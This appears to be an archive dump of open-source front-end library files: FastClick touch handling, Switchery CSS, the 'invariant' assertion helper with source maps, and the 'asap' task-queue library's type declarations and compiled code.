strict";switch(target.nodeName.toLowerCase()){case"button":case"select":case"textarea":if(target.disabled){return true}break;case"input":if(this.deviceIsIOS&&target.type==="file"||target.disabled){return true}break;case"label":case"video":return true}return/\bneedsclick\b/.test(target.className)};FastClick.prototype.needsFocus=function(target){"use strict";switch(target.nodeName.toLowerCase()){case"textarea":return true;case"select":return!this.deviceIsAndroid;case"input":switch(target.type){case"button":case"checkbox":case"file":case"image":case"radio":case"submit":return false}return!target.disabled&&!target.readOnly;default:return/\bneedsfocus\b/.test(target.className)}};FastClick.prototype.sendClick=function(targetElement,event){"use strict";var clickEvent,touch;if(document.activeElement&&document.activeElement!==targetElement){document.activeElement.blur()}touch=event.changedTouches[0];clickEvent=document.createEvent("MouseEvents");clickEvent.initMouseEvent(this.determineEventType(targetElement),true,true,window,1,touch.screenX,touch.screenY,touch.clientX,touch.clientY,false,false,false,false,0,null);clickEvent.forwardedTouchEvent=true;targetElement.dispatchEvent(clickEvent)};FastClick.prototype.determineEventType=function(targetElement){"use strict";if(this.deviceIsAndroid&&targetElement.tagName.toLowerCase()==="select"){return"mousedown"}return"click"};FastClick.prototype.focus=function(targetElement){"use strict";var length;if(this.deviceIsIOS&&targetElement.setSelectionRange&&targetElement.type.indexOf("date")!==0&&targetElement.type!=="time"){length=targetElement.value.length;targetElement.setSelectionRange(length,length)}else{targetElement.focus()}};FastClick.prototype.updateScrollParent=function(targetElement){"use strict";var scrollParent,parentElement;scrollParent=targetElement.fastClickScrollParent;if(!scrollParent||!scrollParent.contains(targetElement)){parentElement=targetElement;do{if(parentElement.scrollHeight>parentElement.offsetHeight){scrollParent=parentElement;targetElement.fastClickScrollParent=parentElement;break}parentElement=parentElement.parentElement}while(parentElement)}if(scrollParent){scrollParent.fastClickLastScrollTop=scrollParent.scrollTop}};FastClick.prototype.getTargetElementFromEventTarget=function(eventTarget){"use strict";if(eventTarget.nodeType===Node.TEXT_NODE){return eventTarget.parentNode}return eventTarget};FastClick.prototype.onTouchStart=function(event){"use strict";var targetElement,touch,selection;if(event.targetTouches.length>1){return true}targetElement=this.getTargetElementFromEventTarget(event.target);touch=event.targetTouches[0];if(this.deviceIsIOS){selection=window.getSelection();if(selection.rangeCount&&!selection.isCollapsed){return true}if(!this.deviceIsIOS4){if(touch.identifier===this.lastTouchIdentifier){event.preventDefault();return false}this.lastTouchIdentifier=touch.identifier;this.updateScrollParent(targetElement)}}this.trackingClick=true;this.trackingClickStart=event.timeStamp;this.targetElement=targetElement;this.touchStartX=touch.pageX;this.touchStartY=touch.pageY;if(event.timeStamp-this.lastClickTime<200){event.preventDefault()}return true};FastClick.prototype.touchHasMoved=function(event){"use strict";var touch=event.changedTouches[0],boundary=this.touchBoundary;if(Math.abs(touch.pageX-this.touchStartX)>boundary||Math.abs(touch.pageY-this.touchStartY)>boundary){return true}return false};FastClick.prototype.onTouchMove=function(event){"use strict";if(!this.trackingClick){return true}if(this.targetElement!==this.getTargetElementFromEventTarget(event.target)||this.touchHasMoved(event)){this.trackingClick=false;this.targetElement=null}return true};FastClick.prototype.findControl=function(labelElement){"use strict";if(labelElement.control!==undefined){return labelElement.control}if(labelElement.htmlFor){return document.getElementById(labelElement.htmlFor)}return labelElement.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")};FastClick.prototype.onTouchEnd=function(event){"use strict";var forElement,trackingClickStart,targetTagName,scrollParent,touch,targetElement=this.targetElement;if(!this.trackingClick){return true}if(event.timeStamp-this.lastClickTime<200){this.cancelNextClick=true;return true}this.cancelNextClick=false;this.lastClickTime=event.timeStamp;trackingClickStart=this.trackingClickStart;this.trackingClick=false;this.trackingClickStart=0;if(this.deviceIsIOSWithBadTarget){touch=event.changedTouches[0];targetElement=document.elementFromPoint(touch.pageX-window.pageXOffset,touch.pageY-window.pageYOffset)||targetElement;targetElement.fastClickScrollParent=this.targetElement.fastClickScrollParent}targetTagName=targetElement.tagName.toLowerCase();if(targetTagName==="label"){forElement=this.findControl(targetElement);if(forElement){this.focus(targetElement);if(this.deviceIsAndroid){return false}targetElement=forElement}}else if(this.needsFocus(targetElement)){if(event.timeStamp-trackingClickStart>100||this.deviceIsIOS&&window.top!==window&&targetTagName==="input"){this.targetElement=null;return false}this.focus(targetElement);if(!this.deviceIsIOS4||targetTagName!=="select"){this.targetElement=null;event.preventDefault()}return false}if(this.deviceIsIOS&&!this.deviceIsIOS4){scrollParent=targetElement.fastClickScrollParent;if(scrollParent&&scrollParent.fastClickLastScrollTop!==scrollParent.scrollTop){return true}}if(!this.needsClick(targetElement)){event.preventDefault();this.sendClick(targetElement,event)}return false};FastClick.prototype.onTouchCancel=function(){"use strict";this.trackingClick=false;this.targetElement=null};FastClick.prototype.onMouse=function(event){"use strict";if(!this.targetElement){return true}if(event.forwardedTouchEvent){return true}if(!event.cancelable){return true}if(!this.needsClick(this.targetElement)||this.cancelNextClick){if(event.stopImmediatePropagation){event.stopImmediatePropagation()}else{event.propagationStopped=true}event.stopPropagation();event.preventDefault();return false}return true};FastClick.prototype.onClick=function(event){"use strict";var permitted;if(this.trackingClick){this.targetElement=null;this.trackingClick=false;return true}if(event.target.type==="submit"&&event.detail===0){return true}permitted=this.onMouse(event);if(!permitted){this.targetElement=null}return permitted};FastClick.prototype.destroy=function(){"use strict";var layer=this.layer;if(this.deviceIsAndroid){layer.removeEventListener("mouseover",this.onMouse,true);layer.removeEventListener("mousedown",this.onMouse,true);layer.removeEventListener("mouseup",this.onMouse,true)}layer.removeEventListener("click",this.onClick,true);layer.removeEventListener("touchstart",this.onTouchStart,false);layer.removeEventListener("touchmove",this.onTouchMove,false);layer.removeEventListener("touchend",this.onTouchEnd,false);layer.removeEventListener("touchcancel",this.onTouchCancel,false)};FastClick.notNeeded=function(layer){"use strict";var metaViewport;var chromeVersion;if(typeof window.ontouchstart==="undefined"){return true}chromeVersion=+(/Chrome\/([0-9]+)/.exec(navigator.userAgent)||[,0])[1];if(chromeVersion){if(FastClick.prototype.deviceIsAndroid){metaViewport=document.querySelector("meta[name=viewport]");if(metaViewport){if(metaViewport.content.indexOf("user-scalable=no")!==-1){return true}if(chromeVersion>31&&window.innerWidth<=window.screen.width){return true}}}else{return true}}if(layer.style.msTouchAction==="none"){return true}return false};FastClick.attach=function(layer){"use strict";return new FastClick(layer)};if(typeof define!=="undefined"&&define.amd){define(function(){"use strict";return FastClick})}else if(typeof module!=="undefined"&&module.exports){module.exports=FastClick.attach;module.exports.FastClick=FastClick}else{window.FastClick=FastClick}});require.register("component~indexof@0.0.3",function(exports,module){module.exports=function(arr,obj){if(arr.indexOf)return arr.indexOf(obj);for(var i=0;ismall{background:#fff;border-radius:100%;box-shadow:0 1px 3px rgba(0,0,0,0.4);height:30px;position:absolute;top:0;width:30px}.switchery-small{border-radius:20px;height:20px;width:33px}.switchery-small>small{height:20px;width:20px}.switchery-large{border-radius:40px;height:40px;width:66px}.switchery-large>small{height:40px;width:40px}switchery.css000064400000002042151701416170007300 0ustar00/* * * Main stylesheet for Switchery. * http://abpetkov.github.io/switchery/ * */ /* Switchery defaults. */ .switchery { background-color: #fff; border: 1px solid #dfdfdf; border-radius: 20px; cursor: pointer; display: inline-block; height: 30px; position: relative; vertical-align: middle; width: 50px; -moz-user-select: none; -khtml-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; box-sizing: content-box; background-clip: content-box; } .switchery > small { background: #fff; border-radius: 100%; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4); height: 30px; position: absolute; top: 0; width: 30px; } /* Switchery sizes. */ .switchery-small { border-radius: 20px; height: 20px; width: 33px; } .switchery-small > small { height: 20px; width: 20px; } .switchery-large { border-radius: 40px; height: 40px; width: 66px; } .switchery-large > small { height: 40px; width: 40px; } invariant.esm.js000064400000002440151701443450007664 0ustar00/** * Use invariant() to assert state which your program assumes to be true. * * Provide sprintf-style format (only %s is supported) and arguments * to provide information about what broke and what you were * expecting. * * The invariant message will be stripped in production, but the invariant * will remain to ensure logic does not differ in production. */ function invariant(condition, format) { for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) { args[_key - 2] = arguments[_key]; } if (process.env.NODE_ENV !== 'production') { if (format === undefined) { throw new Error('invariant requires an error message argument'); } } if (!condition) { var error; if (format === undefined) { error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.'); } else { var argIndex = 0; error = new Error(format.replace(/%s/g, function () { return args[argIndex++]; })); error.name = 'Invariant Violation'; } error.framesToPop = 1; // we don't care about invariant's own frame throw error; } } export { invariant }; //# sourceMappingURL=invariant.esm.js.map invariant.esm.js.map000064400000003677151701443450010455 0ustar00{"version":3,"file":"invariant.esm.js","sources":["../src/index.ts"],"sourcesContent":["/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nexport function invariant(condition: any, format: string, ...args: any[]) {\n if (process.env.NODE_ENV !== 'production') {\n if (format === undefined) {\n throw new Error('invariant requires an error message argument');\n }\n }\n\n if (!condition) {\n let error;\n if (format === undefined) {\n error = new Error(\n 'Minified exception occurred; use the non-minified dev environment ' +\n 'for the full error message and additional helpful warnings.'\n );\n } else {\n let argIndex = 0;\n error = new Error(\n format.replace(/%s/g, function() {\n return args[argIndex++];\n })\n );\n error.name = 'Invariant Violation';\n }\n\n (error as any).framesToPop = 1; // we don't care about invariant's own frame\n throw error;\n }\n}\n"],"names":["invariant","condition","format","args","process","env","NODE_ENV","undefined","Error","error","argIndex","replace","name","framesToPop"],"mappings":"AAAA;;;;;;;;;;AAWA,SAAgBA,UAAUC,WAAgBC;oCAAmBC;IAAAA;;;MACvDC,OAAO,CAACC,GAAR,CAAYC,QAAZ,KAAyB,YAA7B,EAA2C;QACrCJ,MAAM,KAAKK,SAAf,EAA0B;YAClB,IAAIC,KAAJ,CAAU,8CAAV,CAAN;;;;MAIA,CAACP,SAAL,EAAgB;QACVQ,KAAJ;;QACIP,MAAM,KAAKK,SAAf,EAA0B;MACxBE,KAAK,GAAG,IAAID,KAAJ,CACN,uEACE,6DAFI,CAAR;KADF,MAKO;UACDE,QAAQ,GAAG,CAAf;MACAD,KAAK,GAAG,IAAID,KAAJ,CACNN,MAAM,CAACS,OAAP,CAAe,KAAf,EAAsB;eACbR,IAAI,CAACO,QAAQ,EAAT,CAAX;OADF,CADM,CAAR;MAKAD,KAAK,CAACG,IAAN,GAAa,qBAAb;;;IAGDH,KAAa,CAACI,WAAd,GAA4B,CAA5B,CAjBa;;UAkBRJ,KAAN;;;;;;"}invariant.cjs.production.min.js.map000064400000003132151701443450013401 0ustar00{"version":3,"file":"invariant.cjs.production.min.js","sources":["../src/index.ts"],"sourcesContent":["/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nexport function invariant(condition: any, format: string, ...args: any[]) {\n if (process.env.NODE_ENV !== 'production') {\n if (format === undefined) {\n throw new Error('invariant requires an error message argument');\n }\n }\n\n if (!condition) {\n let error;\n if (format === undefined) {\n error = new Error(\n 'Minified exception occurred; use the non-minified dev environment ' +\n 'for the full error message and additional helpful warnings.'\n );\n } else {\n let argIndex = 0;\n error = new Error(\n format.replace(/%s/g, function() {\n return args[argIndex++];\n })\n );\n error.name = 'Invariant Violation';\n }\n\n (error as any).framesToPop = 1; // we don't care about invariant's own frame\n throw error;\n }\n}\n"],"names":["condition","format","args","error","undefined","Error","argIndex","replace","name","framesToPop"],"mappings":"wCAW0BA,EAAgBC,8BAAmBC,mCAAAA,wBAOtDF,EAAW,KACVG,UACWC,IAAXH,EACFE,EAAQ,IAAIE,MACV,qIAGG,KACDC,EAAW,GACfH,EAAQ,IAAIE,MACVJ,EAAOM,QAAQ,OAAO,kBACbL,EAAKI,UAGVE,KAAO,4BAGdL,EAAcM,YAAc,EACvBN"}invariant.cjs.production.min.js000064400000000737151701443450012635 0ustar00"use strict";exports.invariant=function(r,e){for(var n=arguments.length,i=new Array(n>2?n-2:0),o=2;o(objA: T, objB: T, compare?: (a: T, b: T, key?: string) => boolean | void, compareContext?: any): boolean; invariant.cjs.development.js000064400000002431151701443450012200 0ustar00'use strict'; /** * Use invariant() to assert state which your program assumes to be true. * * Provide sprintf-style format (only %s is supported) and arguments * to provide information about what broke and what you were * expecting. * * The invariant message will be stripped in production, but the invariant * will remain to ensure logic does not differ in production. */ function invariant(condition, format) { for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) { args[_key - 2] = arguments[_key]; } { if (format === undefined) { throw new Error('invariant requires an error message argument'); } } if (!condition) { var error; if (format === undefined) { error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.'); } else { var argIndex = 0; error = new Error(format.replace(/%s/g, function () { return args[argIndex++]; })); error.name = 'Invariant Violation'; } error.framesToPop = 1; // we don't care about invariant's own frame throw error; } } exports.invariant = invariant; //# sourceMappingURL=invariant.cjs.development.js.map types/makeRequestCall.d.ts000064400000000405151701456740011575 0ustar00export declare function makeRequestCallFromTimer(callback: () => void): () => void; export declare function makeRequestCallFromMutationObserver(callback: () => void): () => void; export declare const makeRequestCall: typeof makeRequestCallFromMutationObserver; types/asap.d.ts000064400000001000151701456740007427 0ustar00import type { TaskFn } from './types.js'; /** * Calls a task as soon as possible after returning, in its own event, with priority * over other events like animation, reflow, and repaint. An error thrown from an * event will not interrupt, nor even substantially slow down the processing of * other events, but will be rather postponed to a lower priority event. * @param {{call}} task A callable object, typically a function that takes no * arguments. */ export declare function asap(task: TaskFn): void; types/RawTask.d.ts000064400000000376151701456740010076 0ustar00import type { TaskFn, Task } from 'types'; export declare class RawTask implements Task { private onError; private release; task: TaskFn | null; constructor(onError: (err: any) => void, release: (t: RawTask) => void); call(): void; } types/AsapQueue.d.ts000064400000000550151701456740010405 0ustar00import type { Task } from './types.js'; export declare class AsapQueue { private queue; private pendingErrors; private flushing; private requestFlush; private requestErrorThrow; private index; private capacity; constructor(); enqueueTask(task: Task): void; private flush; registerPendingError: (err: any) => void; } types/TaskFactory.d.ts000064400000000313151701456740010743 0ustar00import type { Task } from './types.js'; export declare class TaskFactory { private onError; private freeTasks; constructor(onError: (err: any) => void); create(task: () => void): Task; } types/index.d.ts000064400000000171151701456740007622 0ustar00export * from './asap.js'; export * from './types.js'; export * from './AsapQueue.js'; export * from './TaskFactory.js'; types/types.d.ts000064400000000125151701456740007656 0ustar00export interface Task { call(): void; } export declare type TaskFn = () => void; cjs/AsapQueue.js.map000064400000024615151701456740010350 0ustar00{"version":3,"sources":["../../src/AsapQueue.ts"],"sourcesContent":["/* eslint-disable no-restricted-globals, @typescript-eslint/ban-ts-comment, @typescript-eslint/no-unused-vars, @typescript-eslint/no-non-null-assertion */\nimport type { Task } from './types.js'\nimport { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.js'\n\nexport class AsapQueue {\n\tprivate queue: Task[] = []\n\t// We queue errors to ensure they are thrown in right order (FIFO).\n\t// Array-as-queue is good enough here, since we are just dealing with exceptions.\n\tprivate pendingErrors: any[] = []\n\t// Once a flush has been requested, no further calls to `requestFlush` are\n\t// necessary until the next `flush` completes.\n\t// @ts-ignore\n\tprivate flushing = false\n\t// `requestFlush` is an implementation-specific method that attempts to kick\n\t// off a `flush` event as quickly as possible. `flush` will attempt to exhaust\n\t// the event queue before yielding to the browser's own event loop.\n\tprivate requestFlush: () => void\n\n\tprivate requestErrorThrow: () => void\n\t// The position of the next task to execute in the task queue. This is\n\t// preserved between calls to `flush` so that it can be resumed if\n\t// a task throws an exception.\n\tprivate index = 0\n\t// If a task schedules additional tasks recursively, the task queue can grow\n\t// unbounded. To prevent memory exhaustion, the task queue will periodically\n\t// truncate already-completed tasks.\n\tprivate capacity = 1024\n\n\tpublic constructor() {\n\t\t// `requestFlush` requests that the high priority event queue be flushed as\n\t\t// soon as possible.\n\t\t// This is useful to prevent an error thrown in a task from stalling the event\n\t\t// queue if the exception handled by Node.js’s\n\t\t// `process.on(\"uncaughtException\")` or by a domain.\n\n\t\t// `requestFlush` is implemented using a strategy based on data collected from\n\t\t// every available SauceLabs Selenium web driver worker at time of writing.\n\t\t// https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593\n\t\tthis.requestFlush = makeRequestCall(this.flush)\n\t\tthis.requestErrorThrow = makeRequestCallFromTimer(() => {\n\t\t\t// Throw first error\n\t\t\tif (this.pendingErrors.length) {\n\t\t\t\tthrow this.pendingErrors.shift()\n\t\t\t}\n\t\t})\n\t}\n\n\t// Use the fastest means possible to execute a task in its own turn, with\n\t// priority over other events including IO, animation, reflow, and redraw\n\t// events in browsers.\n\t//\n\t// An exception thrown by a task will permanently interrupt the processing of\n\t// subsequent tasks. The higher level `asap` function ensures that if an\n\t// exception is thrown by a task, that the task queue will continue flushing as\n\t// soon as possible, but if you use `rawAsap` directly, you are responsible to\n\t// either ensure that no exceptions are thrown from your task, or to manually\n\t// call `rawAsap.requestFlush` if an exception is thrown.\n\tpublic enqueueTask(task: Task): void {\n\t\tconst { queue: q, requestFlush } = this\n\t\tif (!q.length) {\n\t\t\trequestFlush()\n\t\t\tthis.flushing = true\n\t\t}\n\t\t// Equivalent to push, but avoids a function call.\n\t\tq[q.length] = task\n\t}\n\n\t// The flush function processes all tasks that have been scheduled with\n\t// `rawAsap` unless and until one of those tasks throws an exception.\n\t// If a task throws an exception, `flush` ensures that its state will remain\n\t// consistent and will resume where it left off when called again.\n\t// However, `flush` does not make any arrangements to be called again if an\n\t// exception is thrown.\n\tprivate flush = () => {\n\t\tconst { queue: q } = this\n\t\twhile (this.index < q.length) {\n\t\t\tconst currentIndex = this.index\n\t\t\t// Advance the index before calling the task. This ensures that we will\n\t\t\t// begin flushing on the next task the task throws an error.\n\t\t\tthis.index++\n\t\t\tq[currentIndex]!.call()\n\t\t\t// Prevent leaking memory for long chains of recursive calls to `asap`.\n\t\t\t// If we call `asap` within tasks scheduled by `asap`, the queue will\n\t\t\t// grow, but to avoid an O(n) walk for every task we execute, we don't\n\t\t\t// shift tasks off the queue after they have been executed.\n\t\t\t// Instead, we periodically shift 1024 tasks off the queue.\n\t\t\tif (this.index > this.capacity) {\n\t\t\t\t// Manually shift all values starting at the index back to the\n\t\t\t\t// beginning of the queue.\n\t\t\t\tfor (\n\t\t\t\t\tlet scan = 0, newLength = q.length - this.index;\n\t\t\t\t\tscan < newLength;\n\t\t\t\t\tscan++\n\t\t\t\t) {\n\t\t\t\t\tq[scan] = q[scan + this.index]!\n\t\t\t\t}\n\t\t\t\tq.length -= this.index\n\t\t\t\tthis.index = 0\n\t\t\t}\n\t\t}\n\t\tq.length = 0\n\t\tthis.index = 0\n\t\tthis.flushing = false\n\t}\n\n\t// In a web browser, exceptions are not fatal. However, to avoid\n\t// slowing down the queue of pending tasks, we rethrow the error in a\n\t// lower priority turn.\n\tpublic registerPendingError = (err: any) => {\n\t\tthis.pendingErrors.push(err)\n\t\tthis.requestErrorThrow()\n\t}\n}\n\n// The message channel technique was discovered by Malte Ubl and was the\n// original foundation for this library.\n// http://www.nonblocking.io/2011/06/windownexttick.html\n\n// Safari 6.0.5 (at least) intermittently fails to create message ports on a\n// page's first load. Thankfully, this version of Safari supports\n// MutationObservers, so we don't need to fall back in that case.\n\n// function makeRequestCallFromMessageChannel(callback) {\n// var channel = new MessageChannel();\n// channel.port1.onmessage = callback;\n// return function requestCall() {\n// channel.port2.postMessage(0);\n// };\n// }\n\n// For reasons explained above, we are also unable to use `setImmediate`\n// under any circumstances.\n// Even if we were, there is another bug in Internet Explorer 10.\n// It is not sufficient to assign `setImmediate` to `requestFlush` because\n// `setImmediate` must be called *by name* and therefore must be wrapped in a\n// closure.\n// Never forget.\n\n// function makeRequestCallFromSetImmediate(callback) {\n// return function requestCall() {\n// setImmediate(callback);\n// };\n// }\n\n// Safari 6.0 has a problem where timers will get lost while the user is\n// scrolling. This problem does not impact ASAP because Safari 6.0 supports\n// mutation observers, so that implementation is used instead.\n// However, if we ever elect to use timers in Safari, the prevalent work-around\n// is to add a scroll event listener that calls for a flush.\n\n// `setTimeout` does not call the passed callback if the delay is less than\n// approximately 7 in web workers in Firefox 8 through 18, and sometimes not\n// even then.\n\n// This is for `asap.js` only.\n// Its name will be periodically randomized to break any code that depends on\n// // its existence.\n// rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer\n\n// ASAP was originally a nextTick shim included in Q. This was factored out\n// into this ASAP package. It was later adapted to RSVP which made further\n// amendments. These decisions, particularly to marginalize MessageChannel and\n// to capture the MutationObserver implementation in a closure, were integrated\n// back into ASAP proper.\n// https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js\n"],"names":["AsapQueue","enqueueTask","task","queue","q","requestFlush","length","flushing","pendingErrors","index","capacity","flush","currentIndex","call","scan","newLength","registerPendingError","err","push","requestErrorThrow","makeRequestCall","makeRequestCallFromTimer","shift"],"mappings":"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"}cjs/asap.js.map000064400000002376151701456740007403 0ustar00{"version":3,"sources":["../../src/asap.ts"],"sourcesContent":["import { AsapQueue } from './AsapQueue.js'\nimport { TaskFactory } from './TaskFactory.js'\nimport type { TaskFn } from './types.js'\n\nconst asapQueue = new AsapQueue()\nconst taskFactory = new TaskFactory(asapQueue.registerPendingError)\n\n/**\n * Calls a task as soon as possible after returning, in its own event, with priority\n * over other events like animation, reflow, and repaint. An error thrown from an\n * event will not interrupt, nor even substantially slow down the processing of\n * other events, but will be rather postponed to a lower priority event.\n * @param {{call}} task A callable object, typically a function that takes no\n * arguments.\n */\nexport function asap(task: TaskFn) {\n\tasapQueue.enqueueTask(taskFactory.create(task))\n}\n"],"names":["asap","asapQueue","AsapQueue","taskFactory","TaskFactory","registerPendingError","task","enqueueTask","create"],"mappings":"AAAA;;;;QAegBA,IAAI,GAAJA,IAAI;AAfM,IAAA,YAAgB,WAAhB,gBAAgB,CAAA;AACd,IAAA,cAAkB,WAAlB,kBAAkB,CAAA;AAG9C,MAAMC,SAAS,GAAG,IAAIC,YAAS,UAAA,EAAE;AACjC,MAAMC,WAAW,GAAG,IAAIC,cAAW,YAAA,CAACH,SAAS,CAACI,oBAAoB,CAAC;AAU5D,SAASL,IAAI,CAACM,IAAY,EAAE;IAClCL,SAAS,CAACM,WAAW,CAACJ,WAAW,CAACK,MAAM,CAACF,IAAI,CAAC,CAAC;CAC/C"}cjs/types.js.map000064400000000256151701456740007616 0ustar00{"version":3,"sources":["../../src/types.ts"],"sourcesContent":["export interface Task {\n\tcall(): void\n}\nexport type TaskFn = () => void\n"],"names":[],"mappings":"AAAA"}cjs/makeRequestCall.js000064400000007107151701456740010762 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.makeRequestCallFromTimer = makeRequestCallFromTimer; exports.makeRequestCallFromMutationObserver = makeRequestCallFromMutationObserver; exports.makeRequestCall = void 0; // Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that // have WebKitMutationObserver but not un-prefixed MutationObserver. // Must use `global` or `self` instead of `window` to work in both frames and web // workers. `global` is a provision of Browserify, Mr, Mrs, or Mop. /* globals self */ const scope = typeof global !== 'undefined' ? global : self; const BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver; function makeRequestCallFromTimer(callback) { return function requestCall() { // We dispatch a timeout with a specified delay of 0 for engines that // can reliably accommodate that request. This will usually be snapped // to a 4 milisecond delay, but once we're flushing, there's no delay // between events. const timeoutHandle = setTimeout(handleTimer, 0); // However, since this timer gets frequently dropped in Firefox // workers, we enlist an interval handle that will try to fire // an event 20 times per second until it succeeds. const intervalHandle = setInterval(handleTimer, 50); function handleTimer() { // Whichever timer succeeds will cancel both timers and // execute the callback. clearTimeout(timeoutHandle); clearInterval(intervalHandle); callback(); } }; } function makeRequestCallFromMutationObserver(callback) { let toggle = 1; const observer = new 